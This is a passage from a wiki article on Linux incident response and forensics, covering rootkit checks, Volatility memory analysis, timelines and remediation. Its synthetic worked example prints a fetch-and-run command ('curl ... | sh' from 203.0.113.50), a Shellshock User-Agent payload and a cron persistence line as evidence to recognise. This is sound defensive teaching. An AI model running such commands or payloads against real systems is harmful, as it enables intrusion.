sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
